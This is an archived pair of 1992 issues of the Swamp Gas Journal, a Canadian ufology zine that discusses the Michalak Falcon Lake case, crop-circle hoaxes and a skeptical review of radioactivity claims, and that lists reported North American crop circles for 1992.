toward him, and appeared to land about 150 feet away in a clearing.
After it landed, it appeared to change colour from red to orange to
silver, as it "cooled down". It was now a classic flying saucer, about
35-40 feet in diameter, with a dome on its upper surface. The other
object in the sky flew away.
Over the next hour, Michalak observed the object from a hiding spot
behind a large rock formation. He sketched the object and puzzled over
its nature. He couldn't see any markings on the side, and he didn't
believe in "little green men" at the time. He concluded it was an
experimental American aircraft which had landed for repairs. His
theory seemed correct when he heard some high-pitched voices coming
from the craft. A door opened in its side, and brilliant purple lights
flooded out of the portal.
He decided to sarcastically ask the Americans if they needed help
fixing their ship, so he cautiously walked toward the vehicle and
shouted his offer for assistance. The voices ceased abruptly. Edging
closer, he reached the side of the craft and poked his head into the
opening. He noticed that its walls were about eight inches thick, and
had a honeycombed appearance. Inside the ship, he could see what he
described as a myriad of small flashing lights, like those on a
computer panel. Stepping back, he found that when he touched the side
of the craft with his rubberized work glove, the glove had melted from
intense heat.
Suddenly, the door closed and the craft rotated counterclockwise.
In front of him was some sort of "exhaust" grille. A blast of hot gas
shot out of the grille, striking him in the chest and knocking him on
his back. His shirt was set on fire, and he struggled to remove it.
The craft quickly ascended and flew out of sight.
As the Unsolved Mysteries segment showed, a dazed Michalak staggered
back to civilization with his fantastic story. The story of the
investigation is itself a fantastic tale. Michalak was
beleaguered by reporters, UFO buffs, loonies and other characters all
wanting the REAL story or to give him their own advice on how to deal
with the aliens.
Much has been published about the Michalak case, some of it
inaccurate and contrived. An excellent series of articles had appeared
in Canadian UFO Report in the late 1960's and early 1970's, but it did
not receive much attention outside of Canada. After I had
reopened the case files in the late 1970's, I wrote a series of
articles about it for FLYING SAUCER REVIEW, whose editors were
astounded that a full report on the case had never seen international
print before. Yet, I have found the Michalak case recounted in various
versions in many books and zines, often repeating claims of radiation
sickness and alien death rays.
I had re-opened the case because the original team of investigators
had broken up, and the case files were unavailable. I re-interviewed
Michalak and his family, and tracked down several hundred pages of
government documents about the case. Dr. Berthold Schwarz was
invaluable in his assistance in tracking down much of the information,
especially the medical reports.
The case had been investigated by the RCMP, RCAF, USAF and Edward
Condon's Colorado UFO Project (which listed it as "Case 22":
unexplained). The incident had been debated several times in the
Canadian House of Commons because the public wanted to know what the
government had learned about the injury to a Canadian citizen. An
official announcement was made that the files would never be made
public because of a danger to "the public interest".
This, of course, fueled the belief that the craft had been an alien
spaceship. The government was obviously covering up the affair, and
the whole thing smacked of conspiracy. It didn't help when a UFO buff
asked the Mayo Clinic for Michalak's medical records, and the response
was that Michalak had never been there. Of course, Michalak had the
bills to prove his stay there had been real.
Another often-repeated story is that Michalak had some sort of
radiation sickness or had radiation burns. This isn't supported by the
medical reports. If the pattern of burns on his abdomen was caused by
radiation, he would have had many other symptoms of this. The pattern
was considered by dermatologists to have been caused by chemicals, more
like an actual exhaust such as Michalak had described. Another story
in circulation (particularly in the four-volume set of UFO books by
Yves Naud) is that Michalak was suffereing from impurities in his
blood, brought on by the UFO's radiative effects. Again, this is not
supported by the medical evidence. In fact, it is often repeated that
Michalak lost a great deal of weight and that his lymphocyte count was
reduced, more symptoms of radiation poisoning. The trouble is that
Michalak had not been to a doctor for many months before his experience,
and there were no records of his pre-experience weight or blood count
available for comparison. Michalak believed that he had lost weight
the same way we all think we might have lost weight - he guessed and
looked at his own bathroom scale. Considering he had severe nausea and
vomiting, this wouldn't be too unusual. As a matter of fact, this is
more evidence in support of his having ingested a chemical mixture of
gases.
Still, we're left with a curious case. Physiological and physical
effects, an unchanging story over 25 years, and yet there are no
definite answers to what happened to Michalak at Falcon Lake in 1967.
If it was a hoax (and psychological testing suggests that Michalak
didn't do it), then it is certainly one of the best on record. Why
would a hoaxer physically harm himself and put up with 25 years of
ridicule by making up a saucer story? Publicity? No. The Michalaks
shy away from publicity. Money? No. The Michalaks haven't made a
bankroll from the experience, as some might claim. Notoriety? No. In
fact, the Michalaks have threatened to take action against some people
mentioning the case in public because they just want to be left alone.
ROUND AND ROUND AND ROUND IN THE CIRCLE GAME
As mentioned earlier, Paul Fuller's recent editorial in the CROP
WATCHER included a very cynical survey of British cereaology, pointing
out that the "experts" were backpedalling on how many of their "real"
formations had been created by hoaxers. During the preparation of this
issue of the SGJ, another issue of the CROP WATCHER was received, with
even more goodies.
Issue 13 of the CROP WATCHER (3 Selbourne Court, Tavistock Close,
ROMSEY, Hampshire SO51 7TY) includes another editorial in which Paul
shows that vortex theorists now tend to believe that Doug and Dave were
responsible for most of the early British circles during 1978 and 1991,
as they had claimed. Furthermore, Doug and Dave are publishing a book
about their hoaxing career, which will show in no uncertain terms how
silly the crop circle "experts" have been. Paul laments:
"Sadly, our attempts to uncover the truth simply met with insults and
riducule by some of the other people who have since made six-figure
sums of money by promoting themselves and Doug and Daves' hoaxes ... It
is sad to see [ufology and cereaology] desecrated by a small group of
stubborn, deceitful people who refused to listen to BUFORA's findings
and who instead went out of their way to suppress evidence for more
mundane explanations ... UFOlogy's name will be dragged through the mud
yet again because these stupid, egotistical idiots decided that it
didn't really matter what created the circles as long as they were the
researchers most closely associated with the phenomenon by the public."
And those are his kinder remarks. A few pages later, Paul reviews Pat
Delgado's latest crop circle book: CROP CIRCLES - CONCLUSIVE EVIDENCE?.
In his review, Paul notes instance after instance of Delgado's
hyping of a formation as "real", when it had been shown to be a hoax by
other researchers. Even the non-existence of the infamous Highland,
Kansas, formation in 1991, (claimed by Linda Howe to have been covered
up by the military), and long since shown to have never existed, is
ignored by Delgado, who apparently includes it as a "real" site.
In short, the issue is chock full of revelations about crop circle
hoaxing, while at the same time Paul lauds the meteorological vortex
hypothesis. [Sorry, Paul, I don't see the evidence for vortex-created
circles to be any more solid than the evidence for alien-created
circles.] But the commentary and discussion of cerealogists caught
with their pants down makes the zine a must-read. Ufologists and
cerealogists should pay heed to this zine in order to get accurate info
on what is really occurring in the field (pun). And debunkers - get
this zine because it deals with the issue and does your work for you
much better than the minimal and trivial coverage in the SKEPTICAL
INQUIRER.
Further note: Paul notes that BUFORA was the lone voice in the
wilderness, warning cerealogists not to get carried away with the
circle scene in the late 1980's. UFOROM had advocated a rational
approach to this, too, as soon as the hype started up. But who listens
to us Canadians, anyway?
UBI EST DATUM?
Despite pleas for information about North American circles in 1992,
NAICCR has not received much case data from researchers. The NAICCR
preliminary reports have been posted several times, but very little
information from other researchers has been received. For those who
have sent me data: thank you, your contributions are gratefully
credited. Despite rumours that some cerealogy "experts" are becoming
more and more "proprietary", we hope that information exchange will be
ongiong, unlike the British experience.
Since I have been receiving a number of requests, here is the latest
NAICCR preliminary list of rumoured or known North American UGMs and
crop circles.
=======================================================================
1992 North American UGM List, November 1992
920426 Jonesboro, Georgia
- a "formation" of crop circles, "exactly" like those found in
1991 in the same location, was discovered. No other data given.
Source: Rosemary Ellen Guiley; Vance Tiede
9204?? , New Hampshire
- UGMs were found following a small local flap of UFO reports.
Source: Rosemary Ellen Guiley; Vance Tiede
920506 near Edmonton, Alberta
- a "space cookie" UGM was discovered in a meadow. It is a
perfect circle, 6 metres in diameter. Its depth varies from 5 cm
to 31 cm. Grass is growing straight up both inside and outside
the circle. No tracks were found leading to the area. The UGM
is not a sinkhole. Source: Gordon Kijek
920525 Limerick, Pennsylvania
- at least 12 "matted down" areas were found in a wheatfield north of
Philadelphia. Three were circles about five feet in diameter, arranged
in a triangle. One feature was "T-shaped". Soil samples taken by a UFO
investigator "showed no irregularities". Geiger counter readings were
also normal. Although a hoax was suspected by the UFO investigator,
the owner of the field believes that the UGMs were caused by lodging,
wind and fertilizer damage, and that "It happens every year".
Source: Steve Bernheisel on FIDONET; UFO Newsclipping Service #275
920627 Raeford, North Carolina
- a circle of flattened grass was found in a hay field following
a CE2 UFO sighting. A loud noise, "like a freight train", was
heard, and two witnesses ran to look out their front door. A
object "the size of a swimming pool", "like orange windows lla
around it", was in a field about 300 feet away from their house.
When they went to call other witnesses, the object disappeared.
Source: Patrick Kirol on FIDONET
9206?? , Massachusetts
- a small area of flattened cattails was found in a marsh close
to a major highway and reported as a crop circle.
Source: Tom Randolph on DEC COM via INTERNET
920701 St. Adolphe, Manitoba
- nine "horseshoe-shaped" patches of flattened grass were found
on either side of a brook in a Winnipeg suburb. Because of recent
storms and heavy rainfall, lodging was thought to be the cause.
Source: Guy Westcott; NAICCR
920705 Hobbema, Alberta
- two ovals of flattened barley were found in a field after
unusual lights were observed descending to the ground. The
largest UGM has a major axis of 47 feet. The crop is pushed away
uniformly from the centers of the patches, but the centers are
"clumped", like breaking waves. Barley inside the circles is
"white", and devoid of colour. It was later suggested that the areas
were due to spilled seeds and fertilizer, combined with lodging.
Source: Gord Kijek
920715 St. Adolphe, Manitoba
- a field beside a highway was discovered to have numerous patches of
flattened crop, in irregular patterns. The formations were discovered
by the same person who found case 920701. Investigation by NAICCR and
interviews with the owner of the field established that the crop had
been laid down by strong winds and heavy rain. The person who
discovered the formations was convinced that aliens created the
flattened patches. Source: NAICCR
920721 Friedensruh, Manitoba
- a farmer found a triangular area of flattened/swirled grass which
was surrounded by an electric fence. The dimensions were 31x27x17
feet. Local residents could not explain the phenomenon. However,
NAICCR investigators found evidence that animals had trampled the site.
Source: NAICCR
920799 Pilot Peak, California
- according to the Phoenix Project, a number of "landing zones" were
discovered near the site of an alleged underground alien base. Visits
to the site by independent invesyigators have found only patches of
grass trampled by deer and other animals. Two "landing zones" were
claimed. Source: John Pickens on INTERNET via Paranet
920799 Miniota, Manitoba
- it was reported that a crop circle was discovered in a field of
oats. The circle is perfectly round and 32 feet in diameter. The oats
are flattened and swirled in a clockwise fashion. The center of the
circle is devoid of vegetation. Source: NAICCR
920801 Strathclair, Manitoba
- a circle of flattened wheat was discovered in a field southwest of
Strathclair. It was 28 feet in diameter. The wheat was flattened and
swirled in a counterclockwise fashion. Source: NAICCR
920808 Strathclair, Manitoba
- a flattened area of wheat in the shape of the symbol for Mars (a
circle with an attached arrow pointing away from it) was discovered in
a field southwest of Strathclair. The main circle was 28 feet in
diameter, with no detectable eccentricity. The wheat was flattened
counterclockwise. In the arrow, the wheat was flattened away from the
circle. The arrow pointed on a bearing of 260 degrees. Source: NAICCR
920815 Ipswich, Manitoba
- a flattened area of wheat in the shape of the symbol for Mars was
discovered just east of Ipswich. The main circle was elliptical, with
axes 26 and 24.5 feet. The wheat was flattened counterclockwise. The
arrow pointed on a bearing of 65 degrees. A UFO was seen hovering over
the site the night before the UGM was discovered. Source: NAICCR
920815 Strathclair, Manitoba
- a flattened area of wheat was found near other crop circle UGMs. It
was roughly 20 feet in diameter. Wheat was laid down in random clumps.
Examination suggested the area was caused by lodging. Source: NAICCR
920815 Strathclair, Manitoba
- a flattened area of wheat in the shape of the symbol for Mars was
discovered west of Strathclair. The main circle was 24 feet in
diameter. The wheat was flattened in a counterclockwise fashion. The
arrow pointed on a bearing of 120 degrees. Source: NAICCR
920815 Estevan, Saskatchewan
- two circles were found, sharing a tangent. Each diameter was 12
feet. A small path led from the tangent to a very small circle, within
which was a "squashed porcupine". Source: Chad Deetken
920815 Kyle, Saskatchewan
- a flattened ring was found, 12 feet in diameter with a core of
standing wheat, 3.5 feet in diameter. In the center were "porcupine
droppings". Source: Chad Deetken
920817 Brandon, Manitoba
- a television station received an anonymous call that a crop circle
had been found on the property of the Brandon airport. Explained easily
as a parachuting target. Source: CKX-TV; Jeff Harland; NAICCR
920825 Guy, Alberta
- fifteen circular marks were found in a field near Peace River,
Alberta. Investigated by Gord Kijek of AUFOSG. Source: AUFOSG
920820 Milestone, Saskatchewan
- a triplet of crop circles, touching each other in a line, were
discovered in a wheat field. The dimensions of the affected area were
63x22 feet. All were swirled counterclockwise. A "squashed porcupine"
was found inside the formation. Investigated by Chad Deetken.
9208?? Champagne, Illinois
- crop formations were found. No other info. Source: NACCCS
920??? , Iowa
- a number of "ice circles" were reported discovered. Investigated by
Davina Riska? No other data. Source: Rosemary Ellen Guiley, NACCCS
920??? Troy, Illinois
- circles were reported found in cattails. Discovered by Peter
(Darren?) Bistrom (?). Reported to MUFON (?). Investigated at least
two months after their discovery by George Wingfield.
Source: Rosemary Ellen Guiley, NACCCS
920923 Albertville, Saskatchewan
- a circle with a ring was discovered in an oat field. The ring was 35
feet in diameter, and the circle was about 16 feet in diameter. It was
swirled counterclockwise, but the ceter of the swirl was off-center.
The ring had a varying width of 15 to 27 inches. Source: Chad Deetken
920924 Albertville, Saskatchewan
- a second circle with a ring was discovered in a wheatfield. Ring
diameter: 22 feet; circle: 13 feet. Ring width: 8 inches. All were
swirled counterclockwise. Source: Chad Deetken
920923 Melita, Manitoba
- two circles were found in a wheat field, only a few feet apart.
Reported to NAICCR. Investigated by Jeff Harland.
920930? Orillia, Ontario
- one large oval patch of flattened corn was found in a field near
Orillia. The area was 75 by 100 feet, on the south slope of a
south-facing hill, only about 100 feet from a major highway. The corn
was flattened and swirled in a counterclockwise direction.
Reported to NAICCR. Source: Colin McKim.
921002 Nipawin, Saskatchewan
- three circles were found in a wheatfield, spaced irregularly. All
had diameters of about 8 feet and were swirled counterclockwise.
Source: Chad Deetken
=====================================================================
Are there others? Let us know.
Zines received: IUR (International UFO Reporter), Vol. 17, #4,5
ARCTURUS BOOK CATALOG (1442 Port St. Lucie Blvd., Port St. Lucie, FL
34952), 1992, #10,11; GEO-MONITOR (Vince Migliore, 65 Washington St.,
Suite 400, Santa Clara, CA 95050), Vol. 2, #9,10,11; WINNICENTRICS
(RASC Winnipeg Centre, 110 St. Paul's College, 930 Dysart Rd, University
of Manitoba, Winnipeg, Manitoba, Canada R3T 2M6), V. 50, #5,6; AFU
NEWSLETTER (Box 11027, S-600 11 Norrkoping, Sweden), 1991; JUST CAUSE
(Fawcett, Box 218, Coventry, CT 06238); MUFON JOURNAL (103 Oldtowne
Road, Seguin TX 87155-4099), #293,294; UFO PARADOX (Eric Aggen, Jr.,
Box 12245, Parkville MO 64152; CROP WATCHER (Paul Fuller), #12,13;
ORBITER (Box 652, Reading, MA 01867), #36; and a slough of others,
including Jenny Randles' NORTHERN UFO NEWS, Jim Moseley's SAUCER SMEAR
and HORIZON. Sorry, I don't have other addresses handy.
WaHF: Leanne Boyd, Paul Fuller, Mike Strainic, Christian Page, Angela
Mather, Peter Warren, Bob Girard, Chuck Muschweck (why, I don't know),
Bill Bell, Pat Vince, Shannon McGinn, Melissa Craig, Steve Canada, Paul
(the mad photocopyist) Cuttle [thx for all the stuff!], Linda Howe (or
at least her form letter), Eric Herr (no, Eric, I don't have info on
those cases you inquired about), Matteo Leone, Mary Ann Martini (the
Pavarotti tapes were great! Thx!), Gord (best and most underrated
ufologist in North America) Kijek, Mac Davidson (who wants to become a
ufologist when he grows up), Vince Migliore, Greg Kennedy, France
St-Laurent, Darren Hartigan, Janet Bord (UFO pix galore), Gary (best
underrated Fortean writer in Britain) Lanham, Ed Wilson (yes, Ed, I
will speak at the WoldCon in 1994), Lorne Goldfader (master of the fax
machine), and Mrs. Victor Wilson. I want to make a special effort to
emphasize that my review in the last SGJ of Jerry Clark's UFO
Encyclopedia was meant to be very positive, and not negative as some
had interpreted. An especially big hello to virtual correspondents
Pamela Thompson and dAvid tHacker. Thanks also are due to Roy Bauer,
Grant Cameron, Greg Kennedy, Vladimir Simosko - and Myra! If I have
left anyone out, I'm sorry! I can only dig through my "IN" basket
just SO far!
Best "classic" letter received:
"Gentlemen:
We are on the verge of organizing the Philippines' first UFO Watch, an
organization that will dedicate its knowledge and interest in ufology.
In this respect, would you know the equipment used in tracking down
incoming and landings as well as being able to pinpoint the presence of
an alien ship?
Also, can we represent your organization in the Philippines?
We hope to hear from you soonest possible.
Sincerely,
Hernan Ramirez de Cartagena"
======================================================================
The Swamp Gas Journal is copyright (c) 1992 by Chris A. Rutkowski.
Mail correspondence to: Box 1918, Winnipeg, Manitoba, Canada R3C 3R2
Email correspondence to: rutkows@ccu.umanitoba.ca
The Swamp Gas Journal, UFOROM and NAICCR are not affiliated with the
University of Manitoba, and don't represent its ideas, opinions, etc.
(Standard disclaimer)

488
textfiles.com/ufo/swamp_6n.txt Normal file
View File

@@ -0,0 +1,488 @@
The SWAMP GAS JOURNAL
Volume 6, Number 1 (last issue was Volume 5, Number 3)
January, 1992 ISSN 0707-7106
The Continuing Circle Saga
By now, it is likely that everyone knows about the
Bower/Chorley hoax admission. When the story first broke, it was
carried extensively by the media, and it seemed that cerealogy
was doomed. TV and newspapers here in Canada boldly proclaimed
that "all" the circles in England were explained as the work of
BC. Suddenly, all media interest in any fortean phenomena was
extinguished; for the most part, this condition still persists
today.
Of course, things are not as cut-and-dry as they might seem.
As an objectivist, I was immediately suspicious of the BC
claims. "Skeptics" such as CSICOP members were delighted at the
admissions and didn't bother to consider any problems with the
explanation. But it should have been intuitive that there was
something wrong with the claims. A "complete" explanation is
usually never encountered in science, and there are always
loopholes or flaws in the design of "immutable" laws.
The first problem with the BC story is that the two men
could not have made all of the British circles and agriglyphs.
In addition, there would be no way for them to have made the
circles in other parts of the world. This problem with the claim
is easily circumvented by noting that BC are only two of the army
of hoaxers who might have been at work. This might also
explain why characteristics of circles vary somewhat between
sites.
The next question to be addressed is whether or not BC
really made the circles at all. This problem is not trivial, and
it seems that it has not been fully resolved. When the media
first covered the story, BC had been filmed before, during and
after the creation of an agriglyph. Terence Meaden, Colin
Andrews and Pat Delgado were each shown to make pronouncements of
authenticity at some circle sites, though later explained that
they had been pressured for a quick response by the media at the
time. But nearly everyone who viewed the single agriglyph made
by BC in front of the cameras agreed that the site was sloppy
and "suspicious".
Although the numbers of circles claimed made by BC started
out at 1000 or more, the figure has been pared down to a more
reasonable 100 or 200. Even this figure seems a bit high, but
might be possible, if we allow BC to have a lot of energy and
several years to work on their technique. On (the National
Geographic's) Explorer TV show in November, other hoaxers were
shown to take considerable planning in order to produce a complex
in complete darkness before the cameras (not done by BC). Even
so, they were seen by a chance witness, and when a cerealogist
was called in for his opinion, it was dubbed a hoax without much
delay.
The source of the story is a bit of a problem as well. The
tabloid which initially broke the hoax story had earlier ran
a story that suggested ancient Sumerians were communicating with
humans through the circles. Investigation by cerealogists
found that the story had been generated through a "public
relations" firm called Maiden Bridge Farm. MBF was operated by a
husband and wife who had an unlisted telephone number (a bit odd
for a PR firm) and which was disconnected shortly after they
were located by the cerealogists. It seems that MBF paid some
money to BC to come forward with their claims, contacted the
tabloid to get a reporter's interest, then backed out of the
picture. This immediately aroused the interest of conspiracy
theorists, who suggested that the MoD or a subversive group had
deliberately set cerealogists up for a fall. Although a
plausible scenario, there is of course no hard evidence for the
theory.
The most frustrating thing about the whole affair is that it
should be very easy to settle the arguments about BC's
involvement. It would appear to be a simple task: get BC to give
accurate descriptions of all the sites for which they were
responsible, including dates, locations, type of crop, etc. As
far as I have been able to determine through reading the latest
cerealogy journals and letters from my British colleagues, this
has not been done. The closest that has been accomplished is a
series of verbal, heated debates between BC and agitated
cerealogists in the media.
However, the damage has been done. Cerealogists have been
"burned" by some hoaxers, and the media have been warned away
from the phenomenon. But what will the future bring?
The Canadian Connection
In mid-summer of 1991, Gordon Kijek and the Alberta UFO
Study Group (AUFOSG) were prepared for an upcoming season of UFO
investigations. Earlier in the year, Gord had asked me to assist
in the formation of the group, and I had sent him some
information about ufology groups and their operation. In August,
Gord called me to tell me that a circle formation had been
discovered near Lethbridge. He was unsure of how to investigate
the site, but I gave a few of my ideas and wished him luck.
Gord has seemed to be an able researcher, and I was confident
that he would have the matter under control. Soon, he called me
about his findings and the news that other sites had been found.
The deluge had started.
Less than ten sites were reported in Alberta. One was a
remarkable agriglyph (the first of such in North America) which
received considerable media attention. Others were single
circles, quadruplets, and triplets. One site near Okotoks was
judged immediately suspicious by AUFOSG because it appeared that
the centers of the circles had been disturbed; a speculated
method of producing fake circles involves using a stake at the
center of an inscribed circle using a chain to mark the
circumference.
It is interesting to note that in 1990, there were circles
reported throughout Western Canada, except in Alberta. But
in 1991, the only province with circles was Alberta. None of the
Canadian circles during the previous years had any associated
effects, though in 1991, the Alberta circles were said to cause
headaches, equipment malfunctions and give rise too "eerie"
sensations and noises. These effects parallel those reported in
England by some cerealogists, and it was curious that they
would be found one year and not the next. More curious was the
fact that Gord Kijek is prone to migraines, and he experienced
no problems when inside the circles. He also called me on his
cellular phone from inside a circle, with no malfunctioning!
Do such effects really occur? Michael Strainic, reporting
on the investigations of Chad Deetken on his trip to Alberta,
wrote an excellent article for the MUFON Journal which detailed
Deetken's findings. Deetken has a different research
perspective than that of AUFOSG, including his investigation
style. For example, in 1990, Deetken visited some circle sites
in Saskatchewan; during his time there, he decided to camp
overnight in a circle. In the middle of the night, Deetken
reported a "feeling of terror" which overcame him, and he bolted
from the site. He had earlier documented how the area was
permeated with some sort of "energy". Not surprisingly, when he
decided to sleep overnight in one of the 1991 Alberta circles, he
experienced "tension" and "dizziness" during the night, as did
his companions.
Although suggesting that "paranormal effects" were
associated with the Alberta circles, Strainic also noted that
such effects were not often found. Indeed, compass needles were
said to operate normally, as did recording equipment and cameras
taken to sites. Strainic noted that anecdotal reports of animal
effects at circles were common, according to Deetken. But this
was not the case in Manitoba, and such reports were not made to
AUFOSG in the Alberta cases.
One interesting series of effects involved microwave ovens
which were said to have malfunctioned, including one which
was said to have turned itself on. AUFOSG members as well as
Deetken all checked into these reports, though there was
admittedly no confirming evidence of these events.
So, what happened in Alberta? There exist two disparate
investigation records of the circle sites. AUFOSG found
virtually no evidence of "paranormal effects", physiological
effects or equipment malfunctions at sites, but Deetken did. It
is likely that each investigator's inherent biases played
significant roles in the interpretation of data. Michael
Strainic's fascinating report is of great use to other
researchers in the analyses of crop circle data, because it
parallels the British experience. In this way, we can better
understand the British situation, and how cerealogy may be
operating in that country.
Radioactivity?
Recently, it has been claimed that several crop circles are
radioactive. Specifically, it has been reported that soil
samples taken from two British circles and some from recent
American sites have significantly-higher levels of radioactivity
than control samples from the same areas. Further, this
radioactivity has been traced to higher-than-normal levels of
activity caused by certain rare, radioactive elements such as
Europium, Ytterbium and Rhodium. If true, than this certainly
speaks for the creation of crop circles by aliens and utterly
invalidates any other theory, including hoaxing.
The claims are made by Michael Chorost and Marshall Dudley
in a MUFON paper. Advance notice of their claims is already
in circulation, and many people are very excited about their
findings. Mike sent me a copy of a draft and called me to
discuss the writeup, in case I had some comments. As I read the
paper, I had some of my own reservations, but I decided to take
the paper to show two friends who are physicists at the
University of Manitoba. They were less than impressed, to say
the least. However, I persisted (read: I annoyed them) until they
described exactly what they were doubtful about.
My own reservations concerned the sampling techniques and
the small amount of data upon which to base a claim. Also, I
was worried that there had not been any testable theory posed in
advance of finding the data. The Manitoba physicists found
more problems in the physical attributes. Very rare radioactive
elements had been discovered through a comparison of peaks on a
readout of an energy spectrum produced by an analysis of the soil
samples. Such peaks were not present in the control sample
readouts. Because of the difficulty in producing these
artificial elements, Chorost and Dudley devote much of their
paper to ways in which deuteron (an energetic particle)
bombardment of the soil could create the rare elements. In the
end, they concluded that this deuteron bombardment was
responsible for the presence of the radioactivity, and that such
a beam may have also have been related to the formation of the
circles themselves, though how and why is unknown. They actually
don't say that a UFO was responsible, although this could be read
into their report.
However, the finding of these elements is not only strange,
it is downright impossible (uh-oh, I'm sounding like Donald
Menzel). The reason is that if a deuteron bombardment did occur,
then many other elements would have been found as well. For
example, even weak activation of soil by deuterons (or protons,
for that matter) will create Cobalt-56 out of Iron-56. Since
there is a lot more Iron in soil than Ytterbium, the radioactive
Cobalt would be definitely found. Since it wasn't, deuteron
bombardment probably did not occur. An analogy is this: suppose
you went into a someone's room and found a few gold-coloured
coins on the floor. You could see them as evidence that the
room's occupant was a bank robber, because of the "loot"
scattered about. But if this were true, where would all the
other types of money be, like dollar bills and bonds? And what
if the coins turned out to be wrapped chocolate?
Dudley and Chorost do caution that more intensive research
and more thorough surveys of fields are required for
comparative data. It may be that the distribution of elements in
the soil just happens to be high in that particular area.
Another source of possible error is in the interpretation of the
energy peaks and the checking of an energy table. In fact,
using the standard energy table, we found several other elements
that should have been created in the deuteron bombardment, but
were not mentioned.
Greg Kennedy, a circle researcher from Quebec, found the
claims of radionuclides in crop circle samples to be
unsupported by the data. If radiation was found, he noted, it
certainly did not come from the "deuteron beam" suggested by the
American cerealogists. It's possible that some sort of exotic
combination of elements were somehow in the soil samples, but it
was just as possible that the samples were contaminated in some
way. Greg tested samples of the Alberta circles given to him by
Mike Strainic from Chad Deetken. No anomalies were found. He
also has been looking at samples from other Alberta circles which
originated from Gord Kijek. Now, if there are no radionuclides
in the Alberta samples, it does not necessarily negate the
American results (of the British cases). It could mean: a) the
Alberta circles are fakes; b) the British circles were hoaxes;
c) a different "beam" created the Alberta circles; d) the testing
was inconsistent; or e) somebody screwed up. But who? I
think the only way to resolve this is to get several independent
labs (and I wouldn't hesitate to get Phil Klass involved here)
to test the same samples for comparative analyses. Along with
this would be a standardization of experimental cerealogy. And
there are a number of procedures that would probably satisfy most
skeptics.
What I suggested to Mike was the following experiment.
First, postulate that a deuteron (or proton) bombardment will
cause some observed effects. Take samples from inside and
outside a circle site. Test them on the same instrument. Record
your results. Next, send the same samples to a different lab
without passing on your data or findings. While the second lab
is analyzing the samples, recalibrate your instrument. Obtain a
new set of samples, with a different control sample, and analyze
this new set using the same procedure. Have the other lab repeat
its steps and test the new set of samples. Then, you'll have
four sets of data for comparison. Look specifically for certain
elements. Cobalt-56 is a standard test element. Check for
Iron, Magnesium, Sodium, then Lead, Strontium, etc. If there are
significant differences found (and I would use an alpha of
about 0.05), then you have something that you can point to and
say: "This needs further examination!"
Sure, it's a long procedure, but remember, what you're
trying to do is prove an external mechanism for the creation of
crop circles, which are already widely assumed to be caused by
hoaxers. The skeptics have already launched their arguments
against the reality of the crop circle phenomenon; Dennis Stacy
sent me a preprint of an article in the Skeptical Inquirer on
this topic.
Another reason why so much care needs to be taken is that in
all the history of UGMs (unidentified ground markings),
"saucer nests" and "UFO landing sites", a very, very small number
had any associated radioactivity. Cerealogists often argue
that crop circles are different from other UGMs, but it should be
obvious that they are really quite similar. Crop circles are
kinds of UGMs, and the link with UFOs definitely exists. Bower
and Chorley claim they even got the idea for their artistic
endeavours from the Tully "saucer nests" of the 1960's. It would
be rather odd for UGMs to suddenly be laced with
radioactivity; it is more likely that cerealogists are
frenetically searching for evidence to show that crop circles are
unlike other UGMs, and believe that they have found the radiation
as their proof.
Now, much to my wife's consternation, I do have some
radioactive soil safely stored in a cement container in my house.
It came from the Michalak site, from the "saucer nest" found near
Falcon Lake in 1967. The area was so radioactive that the
Government closed the area for health concerns at the time.
Nuclear waste dumps were checked, and Michalak went to a nuclear
research establishment for testing. For many years, it was
widely assumed that the radiation was either due to a clever
"seeding" of the area with radium particles by a hoaxer, or was
actually caused by a spacecraft with a leaky reactor. However,
recent tests sponsored by UFOROM gave another interpretation:
that the radiation came from natural uranium ore, and the odd
peaks found in the energy spectrum came from byproducts of radon,
a gas.
But, of course, things are not quite that simple. This
latest interpretation requires that researchers at a major
government nuclear research establishment failed to recognise the
peaks as being due to natural uranium and radon. While this
is possible, one can wonder what other mistakes might have
occurred, and what were their consequences?
Circle Roundup: After Granum, Alberta, near the beginning of
September, there were no more Canadian UGMs reported. In the
United States, there were cases reported in North Dakota, New
York, Kansas, and the noted case near Argonne. However,
summertime down under has produced a new crop of circles and UFO
reports in Australia. Reports of "over 100" circles on the
island continent are making headlines as I write these notes.
Here in North America, we wait for springtime to see what might
occur.
From the Mailbag: Laurence Sokoloff, whom some have likened to
an alien, sends me obscure articles he comes across during his
literary endeavours. His latest came from Paris Match for 12
Decembre 1991, with the accompanying note: "Chris - This article
is about French scientist Jean-Pierre Petit, who maintains that
startling scientific discoveries have been revealed to him by
aliens from the planet UMMO, located about 15 light-years from
Earth. His book on the subject, Inquiry into the Aliens Who Are
Already Among Us, has become a best-seller in France. Of course,
these are people who like Jerry Lewis." Thanks for the
article, Larry!
Snailmail et al
It would be difficult to list every missive I have received
over the past 6 months, and downright dangerous. More than
a few people have pored through previous LoCs and WAHFs in
previous issues and complained that I missed their names. If it
happens, it's an accident, really! However, let me throw caution
to the wind and comment on a few letters.
Len Stringfield sent me his latest Status Report VI (thanx,
Len!); it is a very readable survey of current crash-
retrieval stories, ranging from Roswell to Carp to Christian
Page's "alien" photo from Montreal. Christian, by the way, is
rapidly emerging as one on Canada's finest ufologists, with the
added dimension of contributing UFO info from French Canada
which was generally inaccessible until recently. Mike Strainic
and Lorne Goldfader in BC have been contributing cases and other
info to my Canadian UFO Survey. Mike's article in MUFON about
Chad Deetken's circle expeditions has already been commented
upon. John Schuessler has sent me his UFO Potpourri; Bonnie
Wheeler sent along her Cambridge UFO Research Group Newsletter
(honestly, Bonnie, what is your xerox bill?); Bob Girard's
Arcturus Book Service Catalog is worth reading just for his
annotations!
A special thanks goes out to John Salter, who continues to
document his fascinating experiences and keep his close
friends abreast of the latest (TV makes you look thinner, John!).
MUFON rep Eric Aggen publishes UFO Paradox occasionally, and
it is usually chock full of interesting Lazar or alien tech
stories. I am proud to say that I am among the non-subscribers
to Saucer Smear, published by James Moseley. Where else can you
read a running tirade between believers and skeptics, with barely
a hint of sarcasm? Jim is definitely worthy of his title,
Supreme Commander! Smear is absolutely essential to any
fortean's reading.
As for cerealogy, Paul Fuller's Crop Watcher and Pat
Delgado's CPR Newsletter are the two circlezines I receive most
regularly. Coming from two different "camps", they provide
complementary (and often discordant) views on the British circle
scene. I would like to note that Jenny Randles has resumed her
exchange of Northern UFO News with SGJ, which was interrupted by
a span of 10 years. Ah, but that was back in the days of UFOSIS
...
As I am not a paying member of MUFON, I only get its Journal
intermittently. However, Walt Andrus and Dennis Stacy have
both been corresponding with me and we have been sending things
back and forth throughout the year. Dennis sent me a draft of
an anti-cerealogy article from an upcoming Skeptical Inquirer,
and asked me for a few comments and ammunition for his response
to CSICOP. Oddly, my package to him was returned unopened. MIB?
